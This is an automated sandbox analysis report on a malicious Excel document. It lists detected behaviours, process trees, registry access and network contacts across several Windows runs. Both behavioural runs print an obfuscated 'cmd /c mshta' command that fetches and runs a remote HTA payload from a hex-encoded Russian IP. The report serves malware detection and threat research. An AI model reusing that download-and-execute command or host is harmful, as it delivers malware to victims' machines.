Analysis Overview
SHA256
5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c
Threat Level: Known bad
The file 5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c was found to be: Known bad.
Malicious Activity Summary
Process spawned unexpected child process
Suspicious Office macro
Blocklisted process makes network request
System Location Discovery: System Language Discovery
Enumerates system info in registry
Modifies Internet Explorer settings
Suspicious use of WriteProcessMemory
Checks processor information in registry
Suspicious behavior: AddClipboardFormatListener
Suspicious use of SetWindowsHookEx
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-11-11 21:05
Signatures
Suspicious Office macro
| Description | Indicator | Process | Target |
| N/A | N/A | N/A | N/A |
Analysis: behavioral1
Detonation Overview
Submitted
2024-11-11 21:05
Reported
2024-11-11 21:08
Platform
win7-20240903-en
Max time kernel
120s
Max time network
123s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\mshta.exe | N/A |
System Location Discovery: System Language Discovery
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\cmd.exe | N/A |
| Key opened | \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language | C:\Windows\SysWOW64\mshta.exe | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Modifies Internet Explorer settings
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main | C:\Windows\SysWOW64\mshta.exe | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 1680 wrote to memory of 2788 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1680 wrote to memory of 2788 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1680 wrote to memory of 2788 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 1680 wrote to memory of 2788 | N/A | C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE | C:\Windows\SysWOW64\cmd.exe |
| PID 2788 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2788 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2788 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
| PID 2788 wrote to memory of 2284 | N/A | C:\Windows\SysWOW64\cmd.exe | C:\Windows\SysWOW64\mshta.exe |
Processes
C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls
C:\Windows\SysWOW64\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\SysWOW64\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| RU | 185.7.214.7:80 | tcp | |
| RU | 185.7.214.7:80 | tcp |
Files
memory/1680-1-0x00000000726ED000-0x00000000726F8000-memory.dmp
memory/1680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp
memory/1680-2-0x00000000726ED000-0x00000000726F8000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-11-11 21:05
Reported
2024-11-11 21:08
Platform
win10v2004-20241007-en
Max time kernel
133s
Max time network
151s
Command Line
Signatures
Process spawned unexpected child process
| Description | Indicator | Process | Target |
| Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE |
Blocklisted process makes network request
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\mshta.exe | N/A |
Checks processor information in registry
| Description | Indicator | Process | Target |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Enumerates system info in registry
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key opened | \REGISTRY\MACHINE\Hardware\Description\System\BIOS | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| Key value queried | \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious behavior: AddClipboardFormatListener
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
| N/A | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | N/A |
Suspicious use of WriteProcessMemory
| Description | Indicator | Process | Target |
| PID 3768 wrote to memory of 1952 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 3768 wrote to memory of 1952 | N/A | C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE | C:\Windows\SYSTEM32\cmd.exe |
| PID 1952 wrote to memory of 1512 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
| PID 1952 wrote to memory of 1512 | N/A | C:\Windows\SYSTEM32\cmd.exe | C:\Windows\system32\mshta.exe |
Processes
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5a5d3ef09661e81b5dd4d8ad947c70b96b38d24b0085993ec6f774101783e97c.xls"
C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 8.8.8.8.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 232.168.11.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 67.209.201.84.in-addr.arpa | udp |
| US | 8.8.8.8:53 | roaming.officeapps.live.com | udp |
| GB | 52.109.28.47:443 | roaming.officeapps.live.com | tcp |
| RU | 185.7.214.7:80 | tcp | |
| US | 8.8.8.8:53 | 47.28.109.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 0.159.190.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 228.249.119.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 84.65.42.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 217.106.137.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 171.39.242.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 197.87.175.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 172.214.232.199.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 101.210.23.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.229.111.52.in-addr.arpa | udp |
Files
memory/3768-0-0x00007FF843590000-0x00007FF8435A0000-memory.dmp
memory/3768-3-0x00007FF8835AD000-0x00007FF8835AE000-memory.dmp
memory/3768-2-0x00007FF843590000-0x00007FF8435A0000-memory.dmp
memory/3768-1-0x00007FF843590000-0x00007FF8435A0000-memory.dmp
memory/3768-6-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-5-0x00007FF843590000-0x00007FF8435A0000-memory.dmp
memory/3768-7-0x00007FF843590000-0x00007FF8435A0000-memory.dmp
memory/3768-4-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-8-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-10-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-9-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-11-0x00007FF841130000-0x00007FF841140000-memory.dmp
memory/3768-12-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-15-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-14-0x00007FF841130000-0x00007FF841140000-memory.dmp
memory/3768-16-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-17-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-18-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-13-0x00007FF883510000-0x00007FF883705000-memory.dmp
memory/3768-29-0x00007FF883510000-0x00007FF883705000-memory.dmp
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
| MD5 | d568d37cff393066db559cbfeba70741 |
| SHA1 | 99d70d0d98188f74b1192f1dbaef9ae7621a004c |
| SHA256 | 42ba83066a8d64cea88e36b1bd327cba7f90067cebad6cb0cb5322ed94f41965 |
| SHA512 | c1fa28cac65e5849c8bbf268527f83f87019a8ca33d9b23f530bd724c9f3b0d2eeabc9572791ef00c8379dfe290759759ab144637ddc4795024267d552afd88f |